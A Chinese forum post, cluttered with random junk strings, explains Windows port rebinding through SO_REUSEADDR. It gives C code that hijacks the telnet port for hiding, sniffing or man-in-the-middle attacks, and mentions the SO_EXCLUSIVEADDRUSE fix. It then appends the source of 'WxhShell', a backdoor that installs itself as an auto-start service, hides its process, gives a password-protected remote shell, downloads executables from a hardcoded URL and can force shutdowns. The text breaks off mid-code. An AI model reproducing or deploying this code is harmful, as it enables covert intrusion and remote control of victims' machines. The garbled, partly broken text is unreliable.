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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p\\q[6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e?WR={  
p<34}iZ  
  saddr.sin_family = AF_INET; #u@!O%MJ  
Qpq0j^\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -NeF6  
8w' 8n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D(|$6J 0  
qW^l2Jff  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'QU ?O[CH  
g*M3;G  
  这意味着什么?意味着可以进行如下的攻击: I|H mbTXa  
H'.eqZM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CuNHDYQ&3  
&tIm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p?@D'  
>2/zL.O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dX=^>9hN/  
ntejFy9_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )j'b7)W\  
L6.R?4B   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XjbK!.  
~fe0Ba4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R?Qou!*]  
@gOgs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]\U'_G2]  
{Xj%JE[V  
  #include |IvX7%*]~  
  #include =[&Jxy>Y  
  #include Fz% n!d  
  #include    zqkmsFH{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rIb{=';  
  int main() 14R))Dz"  
  { %O${EN  
  WORD wVersionRequested; M*N8p]3Cq  
  DWORD ret; "oQ@.]-#  
  WSADATA wsaData; MgekLP )&  
  BOOL val; $&!U&uMt  
  SOCKADDR_IN saddr; ' e@}N)IX  
  SOCKADDR_IN scaddr; ilP&ctn6+c  
  int err; J98K:SAR  
  SOCKET s; JY,+eD  
  SOCKET sc; .+<K-'&=  
  int caddsize; tdm /U  
  HANDLE mt; @ h]H_  
  DWORD tid;   ]rS+v^@QH  
  wVersionRequested = MAKEWORD( 2, 2 ); z,tax`O  
  err = WSAStartup( wVersionRequested, &wsaData ); !ktr|9Bl  
  if ( err != 0 ) { &}r932  
  printf("error!WSAStartup failed!\n"); |*b8-a8<  
  return -1; 0U<9=[~q7@  
  } jcj)9;n=!  
  saddr.sin_family = AF_INET; e#wn;wo?  
   QS_u<B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,<BTv;4p  
-[=`bHo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :MVD83?4  
  saddr.sin_port = htons(23); ?=,tcN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <Wd$6  
  { L`\ILJz  
  printf("error!socket failed!\n"); R?W8l5CIk  
  return -1; K"#}R<k8:A  
  } F~B8XUa3  
  val = TRUE; D|xSO~M5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pr2d}~q4{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (n< xoV[e  
  { QMIXz[9w  
  printf("error!setsockopt failed!\n"); u1uY*p  
  return -1; | 8AH_Fk  
  } ^^Ius ]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W`Soa&9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DeUDZL%/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 it.l;L_nW  
6jn<YR E-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D526X0  
  { /<})+=>6f  
  ret=GetLastError(); ,Yo In  
  printf("error!bind failed!\n"); 7(jt:V6V  
  return -1; +,smjg:O  
  } ~"-wSAm  
  listen(s,2); Z5+0?X0i  
  while(1) lY~xoHT;[  
  { <Z vG&  
  caddsize = sizeof(scaddr); -Xj+7}4  
  //接受连接请求 $oNkE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4U((dx*m  
  if(sc!=INVALID_SOCKET) u+Li'Ug  
  { W4N$]D=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vs.q<i-u  
  if(mt==NULL) Sh"} c2  
  { E_h9y  
  printf("Thread Creat Failed!\n"); <'/+E4m  
  break; Dr;@)  
  } l_8t[  
  } F Hv|6zUX  
  CloseHandle(mt);  bSmRo  
  } q* m%Fv  
  closesocket(s); >iq^Ts  
  WSACleanup(); {&/q\UQ  
  return 0; r+) A)a,  
  }   GE"#.J4z  
  DWORD WINAPI ClientThread(LPVOID lpParam) JK_sl>v.7  
  { A}$A~g5 Ap  
  SOCKET ss = (SOCKET)lpParam; vHao y  
  SOCKET sc; 4Jw0m#UN1  
  unsigned char buf[4096]; ;'nu9FU*O  
  SOCKADDR_IN saddr; H*l8,*M}  
  long num; ]e+S~me  
  DWORD val; qgu.c`GmW  
  DWORD ret; |vzGFfRI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wKwireOs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -FJ 5N}R  
  saddr.sin_family = AF_INET; S9mj/GpL3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \5J/ ?  
  saddr.sin_port = htons(23); rNZN}g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J7S  
  { +f|u5c  
  printf("error!socket failed!\n"); +`\C_i-  
  return -1; 8on2 BC2  
  } p7 |~x@q+  
  val = 100; :U?Kwv8s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q~uj:A]n<  
  { G:f]z;Xdp  
  ret = GetLastError(); o-/Xa[yC  
  return -1; 9!PJLI=D  
  } l^&#fz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V7 c7(G  
  { z )k\p'0"  
  ret = GetLastError(); i5|!M IY  
  return -1; M7En%sBp  
  } 7Sr7a {  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pnDD9u-4;  
  { 7ej"q  
  printf("error!socket connect failed!\n"); LR}b^QU7  
  closesocket(sc); ~`T3 i  
  closesocket(ss); \U,.!'+  
  return -1; GYCc)Guc  
  } Ao 1*a%-.  
  while(1) DaaLRMQ=  
  { :tNH Cx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v2dCna\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WG< D+P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y1f&+y9e  
  num = recv(ss,buf,4096,0); zZseK  
  if(num>0) sJ!AI n<  
  send(sc,buf,num,0); /O+,vRw\A  
  else if(num==0) ><5tnBP|+L  
  break; WM:we*k8h  
  num = recv(sc,buf,4096,0); r=<,`_@Y  
  if(num>0) p)d'yj  
  send(ss,buf,num,0); S_aml  
  else if(num==0) 03[(dRK>=  
  break; P)ZGNtO9fG  
  } K5'@$Km  
  closesocket(ss); 8D)2/$NsY}  
  closesocket(sc); #\o VbVq  
  return 0 ; 3-srt^>w*  
  } Fb VtyQz  
{dhGSM7  
r6QNs1f~.  
========================================================== #%Uk}5;-  
 !3}vl Y1  
下边附上一个代码,,WXhSHELL O0c#-K.f  
oj[Wzeg%  
========================================================== a";(C ,:0  
ma vc$!y  
#include "stdafx.h" 4Rp2  
h@t&n@8O?  
#include <stdio.h> u\.7#D>  
#include <string.h> K6{{\r  
#include <windows.h> o%5^dX&[  
#include <winsock2.h> 2t*@P"e!  
#include <winsvc.h> "\U$aaF  
#include <urlmon.h> o"J}@nF  
\XhzaM   
#pragma comment (lib, "Ws2_32.lib") %Gv8 ]Yb  
#pragma comment (lib, "urlmon.lib") O\=3{  
5L%A5C&|  
#define MAX_USER   100 // 最大客户端连接数 }LN +V~  
#define BUF_SOCK   200 // sock buffer bwS1YGb  
#define KEY_BUFF   255 // 输入 buffer :dLfM)8}  
O#uTwnW  
#define REBOOT     0   // 重启 H~e;S#3_v  
#define SHUTDOWN   1   // 关机 Y }aa6  
:"|}oKT%mP  
#define DEF_PORT   5000 // 监听端口 ci <`*>l  
=4 36/O`K  
#define REG_LEN     16   // 注册表键长度 sTU`@}}  
#define SVC_LEN     80   // NT服务名长度  =6Ihk  
b7p&EK"Hm  
// 从dll定义API z;x $tO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1nye.i~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &ScADmZP^d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oyiEOC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MyXgp>?~T  
S1.w^Ccy  
// wxhshell配置信息 :)SLi  
struct WSCFG { ^Bf@ I  
  int ws_port;         // 监听端口 VZ 5EV'D8!  
  char ws_passstr[REG_LEN]; // 口令 j ~:Dr   
  int ws_autoins;       // 安装标记, 1=yes 0=no m$Lq#R={Z  
  char ws_regname[REG_LEN]; // 注册表键名 }1f@>'o  
  char ws_svcname[REG_LEN]; // 服务名 _ko16wfg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +'Ec)7m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }E+#*R3auB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K1AI:$H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9# IKb:9k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" al.~[T-O+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y+hC !-  
$WI=a-;_e  
}; DBI[OG9  
`BG{\3>  
// default Wxhshell configuration JBo/<W#|  
struct WSCFG wscfg={DEF_PORT, rhGHR5 g  
    "xuhuanlingzhe", |[7xTD  
    1, ,b%T[s7  
    "Wxhshell", >gtKyn]  
    "Wxhshell", s_}T -%\  
            "WxhShell Service", ,|,DXw  
    "Wrsky Windows CmdShell Service", uW3`gwwlU  
    "Please Input Your Password: ", 3Sv<Viuo  
  1, &'uFy0d,  
  "http://www.wrsky.com/wxhshell.exe", Pwn"!pk  
  "Wxhshell.exe" 5*l~7R  
    }; (,#Rj$W  
vr+O)/P})  
// 消息定义模块 eZ#nZB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  m_LW<'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i Tg?JoE2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VHGOVH,  
char *msg_ws_ext="\n\rExit."; Hr |De8#f  
char *msg_ws_end="\n\rQuit."; k>I[U}h  
char *msg_ws_boot="\n\rReboot..."; 9=p^E#d  
char *msg_ws_poff="\n\rShutdown..."; })rJU/  
char *msg_ws_down="\n\rSave to "; i/N4uq}'A<  
[4KW64%l  
char *msg_ws_err="\n\rErr!"; 0wU8PZ Nj  
char *msg_ws_ok="\n\rOK!"; $@<qaR{t\  
8.3888  
char ExeFile[MAX_PATH]; B#9rqC  
int nUser = 0; Z[[ou?c  
HANDLE handles[MAX_USER]; cLj@+?/  
int OsIsNt; O:cta/M  
c%9wI*l  
SERVICE_STATUS       serviceStatus; TO7%TW{L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !*_5 B'  
v<c~ '?YzO  
// 函数声明 @5+ JXD  
int Install(void); ]:m>pI*z.  
int Uninstall(void); d~1Nct$:  
int DownloadFile(char *sURL, SOCKET wsh); pCS2sq8RC  
int Boot(int flag); 6m"_=.k%  
void HideProc(void); %T4htZa  
int GetOsVer(void); *u^N_y  
int Wxhshell(SOCKET wsl); b0|q@!z>  
void TalkWithClient(void *cs); i>#[*.|P  
int CmdShell(SOCKET sock); qfE>N?/  
int StartFromService(void); =LEKFXqM  
int StartWxhshell(LPSTR lpCmdLine); !g{9]"Z1T  
f|G,pDL x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @|! 9~F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eJFGgJRIvF  
ij i<+oul  
// 数据结构和表定义 H. UwM  
SERVICE_TABLE_ENTRY DispatchTable[] = *F| j%]k~  
{ lX$6U| !  
{wscfg.ws_svcname, NTServiceMain}, W&23M26"{  
{NULL, NULL} *T\- iICw  
}; 0O+[z9  
YcW[BMy5h  
// 自我安装 gU1E6V-Jm  
int Install(void) -S5M>W.Qb{  
{ vX|ZPn#  
  char svExeFile[MAX_PATH]; # ~SuL3  
  HKEY key; R?@F%J;tx  
  strcpy(svExeFile,ExeFile); *IL x-D5qr  
h$7rEs  
// 如果是win9x系统,修改注册表设为自启动 oxT..=-  
if(!OsIsNt) { h >V8YJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iy_'D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0?59o!@h  
  RegCloseKey(key); A??(}F L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Ud<4j-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LnZzY0  
  RegCloseKey(key); qd\5S*Z1  
  return 0; ns`|G;1vv  
    } RSEo'2  
  } " '/:Tp)  
} ljg2P5  
else { ;O` \rP5w  
s *$Re)}S  
// 如果是NT以上系统,安装为系统服务 JRQ{Q"`)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0ant0<  
if (schSCManager!=0) wT/TQEgz  
{ *opf~B_e  
  SC_HANDLE schService = CreateService C%P)_)- -V  
  ( CMI'y(GN  
  schSCManager, -=_bXco}  
  wscfg.ws_svcname, P{2V@ <}  
  wscfg.ws_svcdisp, o|#Mq"od  
  SERVICE_ALL_ACCESS, PR rf$& u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8`Wj 1 ,q  
  SERVICE_AUTO_START, V?"X0>]0  
  SERVICE_ERROR_NORMAL, v"'Co6fw  
  svExeFile, m>dZ n  
  NULL, Sj?u^L8es}  
  NULL, `tZu~ n  
  NULL, bH+x `]{A  
  NULL, +76{S_CZ  
  NULL ds@X%L;_  
  ); g=w,*68vuy  
  if (schService!=0) A$*#n8 ,  
  { O%RkU?ME  
  CloseServiceHandle(schService); jSa9UD  
  CloseServiceHandle(schSCManager); TS0x8,'$q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0].x8{~o  
  strcat(svExeFile,wscfg.ws_svcname); (bEX"U-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D5]4(]k&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F\&Sn1>k  
  RegCloseKey(key); .Cv0Ze  
  return 0; S;a'@5  
    } K"~Tk`[0Q  
  } VA4>!t)  
  CloseServiceHandle(schSCManager); J[E_n;d1  
} {z)&=v@  
} u{Jv6K,  
cI}qMc  
return 1; W_k;jy_{9  
} 4.]xK2sW  
A)9[.fhx  
// 自我卸载 *Z0Y:"  
int Uninstall(void) 6{h+(|.(  
{ &0B< iO<f  
  HKEY key; d&S4`\g?8  
/*g9drwaa  
if(!OsIsNt) { ~"\qX+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 08)X:@ w?  
  RegDeleteValue(key,wscfg.ws_regname); mmk]Doy?#  
  RegCloseKey(key); [Xp{z tGE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %7tQam  
  RegDeleteValue(key,wscfg.ws_regname); l5sBDiir%  
  RegCloseKey(key); =%u\x=u|  
  return 0; Q y(Gy'q~  
  } sj;8[Xy's  
} 97"dOi!Wh  
} =+um:*a.  
else { a*4"j2j v  
w)x`zVwO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3L2@C%  
if (schSCManager!=0) .Q'/e>0  
{ Wxjv=#3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); en\shc{R]`  
  if (schService!=0) :00 #l]g0q  
  { JTT"t@__  
  if(DeleteService(schService)!=0) { C;m7 ~R  
  CloseServiceHandle(schService); mKWfRx*UdG  
  CloseServiceHandle(schSCManager); !3~VoNh,  
  return 0; bu`8QQ"C  
  } Z4S0{:XY  
  CloseServiceHandle(schService); B<.XowT'  
  } /4 zO  
  CloseServiceHandle(schSCManager); j.C)KwelBS  
} @V$,H/v:  
} f.f5f%lO~  
 U)oH@/q  
return 1; =GO/r; 4  
} )c9]}:W&  
|12Cg>;j*n  
// 从指定url下载文件 g@WGd(o0)  
int DownloadFile(char *sURL, SOCKET wsh) a`}b'X:  
{ y/' ^r?  
  HRESULT hr; -9BKa~ DVQ  
char seps[]= "/"; S<n3wR"^  
char *token; iG<rB-"  
char *file; HnvE\t9`  
char myURL[MAX_PATH]; HV:mS*e  
char myFILE[MAX_PATH]; sA18f2  
u rGk_.f  
strcpy(myURL,sURL); wk { 9  
  token=strtok(myURL,seps); q|PB[*T  
  while(token!=NULL) ]:* 8 Mb#  
  { 1VW;[ ocQ  
    file=token; AF{k^^|H  
  token=strtok(NULL,seps); K`.wj8zGY  
  } x' Z<  
b XcDsP$.  
GetCurrentDirectory(MAX_PATH,myFILE); bS 'a)  
strcat(myFILE, "\\"); ]h (TZu  
strcat(myFILE, file); u7|{~D&f  
  send(wsh,myFILE,strlen(myFILE),0); [BS3y`c  
send(wsh,"...",3,0); y^; =+Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uA;3R\6?  
  if(hr==S_OK) wK 8/`{B9  
return 0; />fP )56*  
else 'BT}'qN  
return 1; ?sl 7C gl  
x}TDb0V  
} jE)&`yZ5  
HgG-r&r!2  
// 系统电源模块 &fBLPF%6  
int Boot(int flag) a,Gd\.D  
{ gi`K^L=C  
  HANDLE hToken; 4XL*e+UfJ  
  TOKEN_PRIVILEGES tkp; ]2n&DJu  
Y""-U3;T~  
  if(OsIsNt) { yI9~LTlA3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7Dy\-9:v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5qco4@8  
    tkp.PrivilegeCount = 1; b6D}GuW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]d"4G7mu`l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W>b(hVBE  
if(flag==REBOOT) { qB3{65  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fFXG;Q8&  
  return 0; x&3!z[m@@  
} {]ZZ]  
else { `n8) o%E9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8$avPD3jx  
  return 0; <i'4EnO  
} a/+tsbw  
  } k4_Fn61J/  
  else { "s$v?voo  
if(flag==REBOOT) { 1Giy|;2/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L K9vvQz  
  return 0; yWIM,2x}  
} 8WWRKP1V  
else { g~d}?B\<@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -@ #b<"1  
  return 0; <[xxCW(2  
} GY4 :9Lub7  
} p7(xk6W  
=Mq=\T  
return 1; Tgp}k%R~  
} /vPh_1  
L>{E8qv>w  
// win9x进程隐藏模块 [!{*)4$6  
void HideProc(void) 64}Oa+*s  
{ M;W{A)0i1  
Kzxzz6R?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); / /qTMxn  
  if ( hKernel != NULL ) Vn1kC  
  { ~Dr/+h:^\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gcr,?rE<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [(tgoh/  
    FreeLibrary(hKernel); tklU zv  
  } JGZ,5RTq4-  
x Mtl<Na   
return; io cr  
} ro37H2^Ty  
xkl'Y*  
// 获取操作系统版本 \Ja%u"D A  
int GetOsVer(void) ZeK*MPxQ  
{ EF0{o_  
  OSVERSIONINFO winfo; n6WSTh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BZ1@?3  
  GetVersionEx(&winfo); r6]r+!63"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '#t"^E2$  
  return 1; cl2@p@av  
  else C 0*k@kGy  
  return 0; 6KhHS@Z  
} 8E/$nRfO d  
AEK* w4  
// 客户端句柄模块 }.gDaxj  
int Wxhshell(SOCKET wsl) G5zZf ~r  
{ OM]p"Jd  
  SOCKET wsh; {AIP\  
  struct sockaddr_in client; RrLQM!~  
  DWORD myID; {i^ ?XdM  
y VQ qz  
  while(nUser<MAX_USER) `a:@[0r0U  
{ Y,WcHE  
  int nSize=sizeof(client); x{~-YzWho  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5gI@~h S  
  if(wsh==INVALID_SOCKET) return 1; jL 8&  
 AO;+XP=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &X_I^*  
if(handles[nUser]==0) ZERUvk  
  closesocket(wsh); H1|X0 a(j  
else *we3i  
  nUser++; =0,")aa!  
  } {exF" ap  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0$ &Z_oJ  
?`\<t$M  
  return 0; /j -LW1:N  
} i1vBg}WHN  
n5UcivyX  
// 关闭 socket (W3R3>;  
void CloseIt(SOCKET wsh) abD55YJY  
{ ;eG%#=>  
closesocket(wsh); bm%2K@ /U  
nUser--; t>&$_CSWK  
ExitThread(0);  ceVej'  
} ;^}cZ  
lZ^XZjwoM  
// 客户端请求句柄 2K, 1wqf'  
void TalkWithClient(void *cs) [ $.oyjd  
{ H|F>BjXn5  
!i_5Xc H  
  SOCKET wsh=(SOCKET)cs; lhQ*;dMj%"  
  char pwd[SVC_LEN]; aChY5R  
  char cmd[KEY_BUFF]; lqqY5l6j  
char chr[1]; ReKnvF~  
int i,j; 8XX ,(k_b  
K"Nq_Ddwd  
  while (nUser < MAX_USER) { &[S)zR=?  
3z&,>CEX  
if(wscfg.ws_passstr) { Z i7(lG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d7Q. 'cyQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,2H5CFX/  
  //ZeroMemory(pwd,KEY_BUFF); OD>-^W t;%  
      i=0; ; {I{X}b  
  while(i<SVC_LEN) { rVQ:7\=Z  
u9mMkzgSkP  
  // 设置超时 /CKkT.Le  
  fd_set FdRead; xkUsZ*X8B  
  struct timeval TimeOut; Ofqe+C  
  FD_ZERO(&FdRead); X@x: F|/P  
  FD_SET(wsh,&FdRead); plfz)x3  
  TimeOut.tv_sec=8; X~GZI*P  
  TimeOut.tv_usec=0; &xH>U*c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SL%4w<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zCO5 `%14  
*PL+)2ob  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DKIDLf  
  pwd=chr[0];  +tfmBZl^  
  if(chr[0]==0xd || chr[0]==0xa) { @H&Aj..  
  pwd=0; b^Rg_,s  
  break; !6<2JNf  
  } ^N Et{]x  
  i++; ]o,)#/' $  
    } Wf: AMxDm  
L$@RSKYp  
  // 如果是非法用户,关闭 socket q#sMew\{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UfcM2OmbK  
} U0jq.]P  
BAoqO Xv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?H*_:?=6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z_JZx]*/  
8qS)j1.!  
while(1) { 1%EY!14G+  
( Y/ DMQ  
  ZeroMemory(cmd,KEY_BUFF); ,iSs2&$ m  
'kW`62AX  
      // 自动支持客户端 telnet标准   7 hnTHL  
  j=0; F;q I^{m2  
  while(j<KEY_BUFF) { *WMcE$w/D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  PJk Mn  
  cmd[j]=chr[0]; -iH/~a  
  if(chr[0]==0xa || chr[0]==0xd) { )E6m}?H5  
  cmd[j]=0; wQ.ild  
  break; ;HqK^[1\  
  } f_raICO{R  
  j++; A FfgGO  
    } ;C{ 2*0"H|  
u =rY  
  // 下载文件 S'E6#   
  if(strstr(cmd,"http://")) { 5^* d4[&+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pq7YJ"Z?:  
  if(DownloadFile(cmd,wsh)) LgUaX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4,$x~m`N  
  else C?hw$^w7T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q~-gtEv+&  
  } 7;|6g8=  
  else { #XJYkaL  
!xe<@$  
    switch(cmd[0]) { C=PBF\RkKu  
  ;2dhue  
  // 帮助 MIt\[EB  
  case '?': { ,dh*GJ{5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PjsQ+5[>  
    break; _V8pDcY  
  } 1Ll@ ocE  
  // 安装 9^ mrsj  
  case 'i': { I[[rVts  
    if(Install()) Hk6Dwe[y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -QZped;?*  
    else {Lq uOC1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&bh&KzCW  
    break; Y=}b/[s6;  
    } t}'Oh}CG  
  // 卸载 /5yW vra  
  case 'r': { N{Is2Ia  
    if(Uninstall()) 5,?9#n\E,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kv (N/G  
    else /1MO]u\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !*pK#  
    break; o"UqI  
    } PkG+`N  
  // 显示 wxhshell 所在路径 S4?ss I  
  case 'p': { ND21;  
    char svExeFile[MAX_PATH]; '{OZ[$E  
    strcpy(svExeFile,"\n\r"); vkBngsS  
      strcat(svExeFile,ExeFile); bcj7.rh]'h  
        send(wsh,svExeFile,strlen(svExeFile),0); 9.%{M#j  
    break; oz[E>%  
    } YToRG7X#  
  // 重启 vZXyc *  
  case 'b': { y@_4OkR@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YO-O-NEP  
    if(Boot(REBOOT)) ~^VcTSY@<L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s*]1d*B!  
    else { H%])>  
    closesocket(wsh); O'idS`   
    ExitThread(0); Sm,%>  
    } ,GR(y^S  
    break; C=hE@  
    } M:C*?;K:  
  // 关机 KZDB\T  
  case 'd': { )cOm\^,  
